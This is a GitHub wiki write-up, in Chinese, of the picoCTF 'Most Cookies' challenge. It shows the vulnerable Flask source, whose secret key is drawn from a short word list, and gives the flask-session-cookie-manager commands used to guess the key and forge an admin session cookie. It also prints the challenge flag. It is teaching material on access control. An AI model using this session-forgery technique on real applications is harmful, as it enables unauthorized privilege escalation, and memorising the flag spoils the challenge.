Broken Access Control - ianchen0119/About-Security GitHub Wiki

Broken Access Control

提升權限問題

案例分析: Most Cookies

先看題目給的 Source code :

import random
app = Flask(__name__)
flag_value = open("./flag").read().rstrip()
title = "Most Cookies"
cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
app.secret_key = random.choice(cookie_names)

@app.route("/")
def main():
	if session.get("very_auth"):
		check = session["very_auth"]
		if check == "blank":
			return render_template("index.html", title=title)
		else:
			return make_response(redirect("/display"))
	else:
		resp = make_response(redirect("/"))
		session["very_auth"] = "blank"
		return resp

@app.route("/search", methods=["GET", "POST"])
def search():
	if "name" in request.form and request.form["name"] in cookie_names:
		resp = make_response(redirect("/display"))
		session["very_auth"] = request.form["name"]
		return resp
	else:
		message = "That doesn't appear to be a valid cookie."
		category = "danger"
		flash(message, category)
		resp = make_response(redirect("/"))
		session["very_auth"] = "blank"
		return resp

@app.route("/reset")
def reset():
	resp = make_response(redirect("/"))
	session.pop("very_auth", None)
	return resp

@app.route("/display", methods=["GET"])
def flag():
	if session.get("very_auth"):
		check = session["very_auth"]
		if check == "admin":
			resp = make_response(render_template("flag.html", value=flag_value, title=title))
			return resp
		flash("That is a cookie! Not very special though...", "success")
		return render_template("not-flag.html", title=title, cookie_name=session["very_auth"])
	else:
		resp = make_response(redirect("/"))
		session["very_auth"] = "blank"
		return resp

if __name__ == "__main__":
	app.run()


Flask 產生 session cookie 的方式是拿要加密資料搭配密鑰做加密(廢話),然後從源碼可以知道密鑰會從一個陣列中隨機選取,當主頁將 session 解密時 very auth 等於 admin 的話,它就會吐 Flag 出來。

因此,我們要把陣列中每個食物名稱都拿出來當成密鑰嘗試解密:

py flask_session_cookie_manager3.py decode -c'eyJ2ZXJ5X2F1dGgiOiJzbmlja2VyZG9vZGxlIn0.YFhuxw.bsh6ROLyRzd5_RpI3csWrRn0qQU' -s 'butter'

經過不斷的嘗試,發現密鑰是 butter ,所以我將 butter 作為密鑰對 {"very_auth":"admin"} 做 encoding :

py flask_session_cookie_manager3.py encode -s 'butter' -t '{"very_auth":"admin"}'

得到經過魔改的 session cookie 後,把它塞回網站上做重新整理後就順利拿到 Flag 啦:

picoCTF{pwn_4ll_th3_cook1E5_5f016958}
BTW: 本次使用的加解密套件為 [Flask Session Cookie Decoder/Encoder](https://noraj.github.io/flask-session-cookie-manager/) 以及 Cookie editor 插件(非必要)。